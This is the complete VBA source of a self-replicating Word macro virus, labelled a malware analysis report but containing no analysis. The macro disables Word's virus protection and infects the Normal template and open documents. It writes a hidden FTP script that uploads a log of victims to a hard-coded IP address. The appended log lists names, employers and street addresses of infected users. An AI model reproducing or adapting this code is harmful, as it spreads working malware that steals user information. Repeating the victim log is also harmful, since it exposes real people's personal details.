Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)


'Switch the VirusProtection OFF
Options.VirusProtection = False


  If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
  
    If DocumentInfected = True Then
      LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
    ElseIf NormalTemplateInfected = True Then
      LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    End If
    
    LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
    
    For i = 1 To 4
      LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
    Next i
    LogFile = "C:\hsf" & LogFile & ".sys"
    
    Open LogFile For Output As #1
    Print #1, LogData
    Close #1
    
    Open "c:\netldx.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "ascii"
    Print #1, "put " & LogFile
    Print #1, "quit"
    Close #1
    
    Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
    
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
    
  End If


'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
   
   
  'Infect the NormalTemplate
  If DocumentInfected = True Then
  
    SaveNormalTemplate = NormalTemplate.Saved
  
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)

    
    'Write a log file of this NormalTemplate infection
    For i = 1 To Len(Application.UserAddress)
      If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
        If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
          UserAddress = UserAddress & Mid(Application.UserAddress, i, 1)
        End If
      Else
        UserAddress = UserAddress & Chr(13) & "' "
      End If
    Next i

    OurCode = OurCode & Chr(13) & _
              "' " & Format(Time, "hh:mm:ss AMPM - ") & _
                     Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
              "' " & Application.UserName & Chr(13) & _
              "' " & UserAddress & Chr(13)


    nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
    nt.CodeModule.AddFromString OurCode
    
    If SaveNormalTemplate = True Then NormalTemplate.Save
    
  End If


  'Infect the ActiveDocument
  If NormalTemplateInfected = True And _
     (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
     ActiveDocument.Saved = False) Then
  
    SaveDocument = ActiveDocument.Saved
    
    OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)

    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString OurCode
    
    If SaveDocument = True Then ActiveDocument.Save
      
  End If
  
    
End If

End Sub

' Logfile -->

' 09:08:36  - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'



' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'



' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'



' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'



' 09:23:32 AM - Wednesday, 23 Dec 1998
' bcbsa
'



' 12:08:05 PM - Monday, 4 Jan 1999
' ISG
'



' 02:41:37 PM - Tuesday, 5 Jan 1999
' Information Systems Group
'



' 12:49:03 PM - Saturday, 9 Jan 1999
' Mona Sowisky
' CSC Healthcare
' One Embarcadero, Suite 2800
' San Francisco, CA 94111



' 10:30:59 PM - Sunday, 10 Jan 1999
' Information Systems
' CSC Healthcare
' 1675 Broadway, 18th Floor
' New York, NY 10019



' 09:25:05 PM - Monday, 11 Jan 1999
' Marge Bayus
'



' 10:49:50 AM - Wednesday, 20 Jan 1999
' Avjian
'



' 05:35:43 PM - Thursday, 28 Jan 1999
' bjeffrie
'



' 02:52:55 PM - Wednesday, 3 Feb 1999
' JOYCE STANDISH
'



' 10:23:26 AM - Friday, 5 Feb 1999
' Michael P. Hickey
'



' 08:30:37 AM - Monday, 15 Feb 1999
' Bill Briner
'



' 08:39:52 AM - Wednesday, 17 Feb 1999
' robg
'



' 07:31:40 AM - Monday, 22 Feb 1999
' TENET
'



' 03:07:44 PM - Tuesday, 30 Mar 1999
' Dallas Operations Center
'



' 12:26:27 PM - Monday, 5 Apr 1999
' Patricia M. Pierce
' Tenet HealthSystems
' 2010 Main Street #650
' Irvine, Ca 92614



' 03:17:51 PM - Thursday, 8 Apr 1999
' TENET
'



' 12:04:06 PM - Friday, 30 Apr 1999
' Sandy Hill
'



' 01:20:07 PM - Monday, 3 May 1999
' SHarris
'



' 09:45:40 AM - Tuesday, 11 May 1999
' maggie k sinclair
'



' 09:30:37 AM - Wednesday, 1 Sep 1999
' FVHR
'



' 02:27:03 PM - Thursday, 2 Sep 1999
' Elly Lauder
'



' 08:39:43 AM - Wednesday, 8 Sep 1999
' heidi ann
'



' 06:45:22 PM - Sunday, 26 Dec 1999
' Heidi Ann
'



' 08:16:59 AM - Monday, 20 Mar 2000
' Microsoft Office 98
'



' 08:09:01 PM - Friday, 12 May 2000
' Microsoft Office 98
'



' 01:01:29 PM - Wednesday, 16 Aug 2000
' Microsoft Office 98
'



' 06:17:03 AM - Tuesday, 12 Dec 2000
' Microsoft Office 98
' Dee Dee and Mike
' October 9, 1999



' 09:16:03 AM - Tuesday, 25 Mar 2003
' Microsoft Office 98
'


' 12:57:30 PM - Tuesday, 15 Nov 2005
' Valentine Elementary
'



' 12:03:39 PM - Tuesday, 9 Oct 2007
' Valentine School
'